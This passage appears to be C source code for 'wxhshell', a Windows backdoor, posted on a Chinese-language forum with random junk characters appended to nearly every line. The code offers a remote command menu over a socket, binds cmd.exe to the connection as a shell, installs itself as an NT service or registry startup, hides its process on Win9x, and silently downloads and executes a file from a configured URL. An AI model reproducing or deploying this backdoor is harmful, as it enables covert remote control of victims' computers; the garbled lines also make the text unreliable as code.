  else { h:Ndzp{  
;<G<1+  
    switch(cmd[0]) { ;+I4&VieK  
  TQ1WVq }*  
  // 帮助 Lg`Jp&Kg  
  case '?': { Y5!b)vke  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cf[vf!vi  
    break; r<L#q)]  
  } 22KI]$D#f  
  // 安装 jV7&Y.$zF]  
  case 'i': { gw3NS8 A+  
    if(Install()) Yi rC*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eE/%6g  
    else {rkn q_;0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  8R69q:  
    break; af+}S9To  
    } 8h?X!2Nq  
  // 卸载 2 6:evid  
  case 'r': { 5>ST"l_ca  
    if(Uninstall()) Ew^ @Aq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dNV v4{S  
    else dTD5(}+J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qq+MBW*  
    break; $-@$i`Kf/  
    } CYB=Uq,  
  // 显示 wxhshell 所在路径 K:qOoY  
  case 'p': { Ha ZFxh-(  
    char svExeFile[MAX_PATH]; bEr.nF  
    strcpy(svExeFile,"\n\r"); %f[Ep 3D  
      strcat(svExeFile,ExeFile); D?+ RJs  
        send(wsh,svExeFile,strlen(svExeFile),0); >4![&&  
    break; ~%q7Vmk9  
    } |r~ uos  
  // 重启 iM64,wnA  
  case 'b': { .:;fAJPf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %7`d/dgR  
    if(Boot(REBOOT)) Wm6dQQ;Bj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )hL^+Nn bR  
    else { !J.rM5K  
    closesocket(wsh); d0C8*ifFO  
    ExitThread(0); Y%v P#>h  
    } ix Ow=!@  
    break; r2G*!qK*1  
    } Z[,`"}}hv=  
  // 关机 135Par5v  
  case 'd': { }g,X5v?W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z=?0)e(H,  
    if(Boot(SHUTDOWN)) 'rV2Bt,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "zZ&n3=@  
    else { C"T ,MH  
    closesocket(wsh); '}O!2W&Y]%  
    ExitThread(0); PF ;YE6  
    } |qL;Nu,d  
    break; R/N<0!HZ  
    } l:tpL(%  
  // 获取shell ofEqvoi@  
  case 's': { {qAu/ixp  
    CmdShell(wsh); tvWH04T  
    closesocket(wsh); KHJ=$5r)  
    ExitThread(0); jCWu\Oe  
    break; R;=6VH  
  } E0bFx5e5fu  
  // 退出 M5+W$W  
  case 'x': { .D@/y uV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !yCl(XT  
    CloseIt(wsh); 6IF|3@yD  
    break; px&=((Z7>  
    } gLCz]D.'  
  // 离开 m0iV m|  
  case 'q': { A1!:BC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #6FaIq92V  
    closesocket(wsh); ECdfLn*c  
    WSACleanup(); QBjY&(vY  
    exit(1); ;^.9#B,<  
    break; /2:Q6J  
        } cJq<9(  
  } |\p5mh  
  } anitqy#E  
:+pPr Gj"  
  // 提示信息 bVmvjY4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fbL!=]A*3  
} s@M  
  } }I<N^j=/pO  
H5^Y->  
  return; & 3I7]Wm  
} sRil>6QR  
i0&) N,5_  
// shell模块句柄 6(5c7R#  
int CmdShell(SOCKET sock) }` @?X"r  
{ ks^|>  
STARTUPINFO si; 0- Yeu5A  
ZeroMemory(&si,sizeof(si)); $pBr &,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3V!x?H$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >huqt|S*9  
PROCESS_INFORMATION ProcessInfo; { ;' :h  
char cmdline[]="cmd"; pqd4iR Wv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^*zW"s  
  return 0; B$EK_@M  
} IHfSkFz`j  
)ldUayJ  
// 自身启动模式 r?XDvU  
int StartFromService(void) C_89YFn+  
{ 8ok7|DJ  
typedef struct z5I^0'  
{ Lj-{t% }  
  DWORD ExitStatus; $ACe\R/%  
  DWORD PebBaseAddress; 8|_K  
  DWORD AffinityMask; dTgM"k  
  DWORD BasePriority; 6 cr^<]v!  
  ULONG UniqueProcessId; Uc>LFX& -B  
  ULONG InheritedFromUniqueProcessId; o[H\{a>  
}   PROCESS_BASIC_INFORMATION; |<2JQ[]  
iqlVlm>E  
PROCNTQSIP NtQueryInformationProcess; IM|Se4;x  
@%keTTZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t;~-_{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FrgV@4'2G  
kt5YgW  
  HANDLE             hProcess; k4* ! Q_A  
  PROCESS_BASIC_INFORMATION pbi; v,@E}F~-f1  
zh hGqz[K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j?d!}v  
  if(NULL == hInst ) return 0; d<)s@Ntgm  
s=}~Q&8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r8H7TJI0   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rQuOt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pIrv$^  
]b!R-G!gV  
  if (!NtQueryInformationProcess) return 0; 's/27=o  
>cSi/a,L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $R3.yX=[\  
  if(!hProcess) return 0; =`ywd]\7  
A1Ibx|K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G0^V!0I&O  
AIf[W">\  
  CloseHandle(hProcess); FW5*_%J  
T[mw}%3<v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9O2a | d  
if(hProcess==NULL) return 0; 7n$AkzO0  
tzP@3+.w  
HMODULE hMod; R0z?)uU#  
char procName[255]; CrT2#h 1#  
unsigned long cbNeeded; 'G3+2hah  
KX$qM g1j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j `w;z: G  
k^~@9F5k  
  CloseHandle(hProcess); gA|!$ EAM  
~&vA_/M  
if(strstr(procName,"services")) return 1; // 以服务启动 `mQP{od?"?  
1'gKZB)TG7  
  return 0; // 注册表启动 /,-h%gj  
} knI*-  
@DUN;L 4  
// 主模块 2"B}}  
int StartWxhshell(LPSTR lpCmdLine) @)S sKk|  
{ 0:PH[\Z  
  SOCKET wsl; :$+D 2*(  
BOOL val=TRUE; c g3Cl[s  
  int port=0; 3m?@7F  
  struct sockaddr_in door; ID_|H?.  
uVoF<={  
  if(wscfg.ws_autoins) Install(); i,C0o   
?nj"Ptzs  
port=atoi(lpCmdLine); ~t1O]aO(  
{IF}d*:  
if(port<=0) port=wscfg.ws_port; ~Tpe,juG_  
n$}R/*  
  WSADATA data; u)N2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f]{1ZU%4  
/7!_un9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >F_qa=t%[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g>d7%FFn}  
  door.sin_family = AF_INET; 1 P(&GYc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ew)n~!s  
  door.sin_port = htons(port); H'j_<R N  
401/33yBJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ncs4<"{$  
closesocket(wsl); ?HEo9/ *7  
return 1; '2Mjz6mBDA  
} W o<PmSt9i  
({ :yw  
  if(listen(wsl,2) == INVALID_SOCKET) { tIc0S!H#  
closesocket(wsl); GF$rPY[  
return 1; ;C7BoHB9  
} e3oYy#QNk  
  Wxhshell(wsl); G!> iqG  
  WSACleanup(); `[g# Mxw  
N{0+C?{_  
return 0; )VV4HoH]8  
:G6 xJlE|  
} "W3n BaG  
'=Ip5A{S/  
// 以NT服务方式启动 v '"1/% L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rH [+/&w5  
{ lN*1zM<6;  
DWORD   status = 0; \ (3Qqbw  
  DWORD   specificError = 0xfffffff; P22y5z~  
DKaG?Y,*p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )U"D4j*p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [<@A8Q5,y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~(*co[_  
  serviceStatus.dwWin32ExitCode     = 0; Lv`8jSt\  
  serviceStatus.dwServiceSpecificExitCode = 0; 71}L# nQ  
  serviceStatus.dwCheckPoint       = 0; F|h ,a;2  
  serviceStatus.dwWaitHint       = 0; TYmUPS$  
f0N)N}y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tq4"Q BIKh  
  if (hServiceStatusHandle==0) return; w<8O=  
-E,{r[Sp  
status = GetLastError(); 0& SrKn  
  if (status!=NO_ERROR) x3p;H02i\  
{ hr$VVbOho  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;c \zgs~"T  
    serviceStatus.dwCheckPoint       = 0; D!OG307P  
    serviceStatus.dwWaitHint       = 0; +lk\oj$S+  
    serviceStatus.dwWin32ExitCode     = status; H *z0xxa  
    serviceStatus.dwServiceSpecificExitCode = specificError; |P[D2R}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {YxSH %  
    return; Rd@n?qB  
  } )U/@J+{{  
fjz2m   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m`1}O"<&i  
  serviceStatus.dwCheckPoint       = 0; r~Is,.zZ}  
  serviceStatus.dwWaitHint       = 0; f;_K}23  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1,*Z_ F=y  
} 1Q2k>q8  
??esB&4?  
// 处理NT服务事件,比如:启动、停止 y[ rB"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b 'Nvx9=W  
{ ki][qvXJ  
switch(fdwControl) >8Yrmq  
{ jP6oJcZ  
case SERVICE_CONTROL_STOP: VK@i#/jm  
  serviceStatus.dwWin32ExitCode = 0; 3gfV0C\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G-Ml+@e>  
  serviceStatus.dwCheckPoint   = 0; X=!n,=xI  
  serviceStatus.dwWaitHint     = 0; VUg~[  
  { d9Ow 2KrC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qkR,<"C|`  
  } VES4x%r=  
  return; Sv^'CpQ  
case SERVICE_CONTROL_PAUSE: [> aoDJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K:lT-*+S  
  break; =+sIX3  
case SERVICE_CONTROL_CONTINUE: [(.T%kJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zia|`}peW  
  break; U}C#:Xi>$  
case SERVICE_CONTROL_INTERROGATE: NXG}0`QVT  
  break; OrKT~JQVC&  
}; 6jy n,GU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g`f6gxc  
} /w0v5X7  
xZ{|D  
// 标准应用程序主函数 =QxE-)v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +h\W~muR  
{  kAe-d  
I!i#=  
// 获取操作系统版本 `sp'Cl!  
OsIsNt=GetOsVer(); ,h)T(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rc{[\1 -N  
l4BO@   
  // 从命令行安装 5fDtSsW  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5l7L@Ey  
LZAj4|~,m  
  // 下载执行文件 vM>`CZ  
if(wscfg.ws_downexe) { ]&tr\-3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vS,G<V3B  
  WinExec(wscfg.ws_filenam,SW_HIDE); v %PWr5]  
} & b^*N5<Z  
Xe^=(| M  
if(!OsIsNt) { x2IU PM  
// 如果时win9x,隐藏进程并且设置为注册表启动 JI#Enh!Lv  
HideProc(); L|xen*O  
StartWxhshell(lpCmdLine); &.bR1wX  
} *U^\Mwp  
else d}B_ll#j-  
  if(StartFromService()) :$Di.|l@7  
  // 以服务方式启动 ,I:m*.q  
  StartServiceCtrlDispatcher(DispatchTable); sZP3xh[B  
else GyXs{*  
  // 普通方式启动 Tk|;5^#H  
  StartWxhshell(lpCmdLine); .)pRB7O3  
-D^y)  
return 0; EvardUB)  
}
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只看该作者 1 发表于: 2006-10-10
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